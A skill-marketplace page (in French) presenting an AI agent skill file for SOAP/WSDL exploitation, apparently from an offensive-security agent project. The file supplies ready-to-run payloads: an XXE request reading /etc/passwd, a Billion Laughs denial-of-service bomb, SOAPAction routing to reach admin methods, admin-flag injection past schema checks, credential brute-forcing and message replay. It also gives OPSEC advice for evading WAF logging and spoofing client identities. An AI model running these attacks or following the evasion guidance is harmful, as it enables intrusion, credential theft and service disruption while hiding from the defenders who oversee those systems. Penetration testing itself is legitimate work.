Skip to main content

api-soap-wsdl

SOAP / WSDL exploitation — WSDL enumeration via ?wsdl, XXE in SOAP envelope, WS-Addressing replay, WS-Security UsernameToken brute, SAML token injection in WS-Trust, schema validation bypass.

Aller à l'installation

Informations de source

Dépôt
BitterSecurity/Decepticon
Dernière activité de la source
26 mai 2026 à 09:25
Langue détectée de SKILL.md
anglais
Étoiles
5 611
Forks
1 061

Options d'installation

Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.

Vérifiez les fichiers source

Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.

Affichage de SKILL.md

SKILL.md
Instructions source · Aperçu en lecture seule
name
api-soap-wsdl
description
SOAP / WSDL exploitation — WSDL enumeration via ?wsdl, XXE in SOAP envelope, WS-Addressing replay, WS-Security UsernameToken brute, SAML token injection in WS-Trust, schema validation bypass.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"soap wsdl xml ws-security ws-addressing ws-trust saml asmx wcf .asmx .svc spring-ws","subdomain":"api","tags":"soap, wsdl, xml, ws-security","mitre_attack":"T1190, T1203"}
# SOAP / WSDL Attack Surface Legacy enterprise integrations still ship SOAP — payment processors, ERP middleware, government APIs, Java EE bus systems. ## Discovery ```bash # WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint curl -sk "https://target/Service.asmx?wsdl" | xmllint --format - curl -sk "https://target/Service.svc?wsdl" | xmllint --format - # Generate a client from the WSDL python -m zeep https://target/Service.asmx?wsdl # OR wsdl2java -uri https://target/Service.asmx?wsdl ``` ## Quick attack catalog ### XXE in SOAP envelope ```bash curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \ -d '<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body> </soap:Envelope>' https://target/Service.asmx ``` ### WS-Security UsernameToken brute / clear-text leak The `<wsse:UsernameToken>` often carries `<wsse:Password>` in clear text. If the channel is HTTP (not HTTPS) or the proxy logs payload, harvest creds: ```bash # WSPolicy may demand: Type="...#PasswordText" curl -sk -X POST -d @ws-attack.xml https://target/svc # Brute: cycle a username dict, observe response time/error class ``` ### WS-Addressing replay SOAP responses often include `<wsa:RelatesTo>` referencing the request `<wsa:MessageID>`. Some servers don't validate freshness: ```xml <wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID> ``` ### SAML in WS-Trust / SAML EncryptedAssertion WS-Trust 1.3 RST/RSTR flows accept SAML tokens. Re-sign the assertion with the IdP's leaked cert OR exploit XML Signature Wrapping (XSW) — see the SAML skill for full XSW patterns. ### Schema validation bypass Many servers parse the SOAP envelope before validating against the XSD. Inject XML that's malformed-for-schema but valid-for-parser: ```xml <soap:Body> <tns:Method> <tns:adminFlag>true</tns:adminFlag> <!-- not in XSD, often honored --> <tns:arg>value</tns:arg> </tns:Method> </soap:Body> ``` ### XML Bomb / Billion Laughs DoS ```xml <!DOCTYPE x [<!ENTITY a "12345678"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]> <x>&c;&c;&c;</x> ``` ### SOAPAction routing confusion .NET ASMX picks the method by `SOAPAction` header, not body. Mismatch → call methods you shouldn't be able to: ```bash curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \ -d '<soap:Envelope>...PublicMethod body...</soap:Envelope>' \ https://target/Service.asmx ``` ## Tooling ```bash # SoapUI free / Postman SOAP — interactive probing soapui --gui # or non-GUI: testrunner.sh # Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping # python zeep — programmatic SOAP client (good for automation) python3 -c "from zeep import Client; c = Client('https://target/Service.asmx?wsdl'); print(c.service.Method('arg'))" ``` ## OPSEC - WS-Addressing `<wsa:MessageID>` is logged in many WAFs — randomize per-request. - WS-Security headers reveal client identity; spoof realistic clientIDs from previously-captured requests. - SOAP fault messages leak stack traces — note them, but limit to one trigger per scan to avoid rate-limit alerts. ## References - WS-Attacks.org — XSW, XXE, WS-Security variants catalog - OWASP "Testing for Web Services" — chapter on SOAP/WSDL - "Hacking SOAP" — Pauldotcom episode (older but still 100% applicable) - Burp extension: SAML Raider
Voir sur GitHub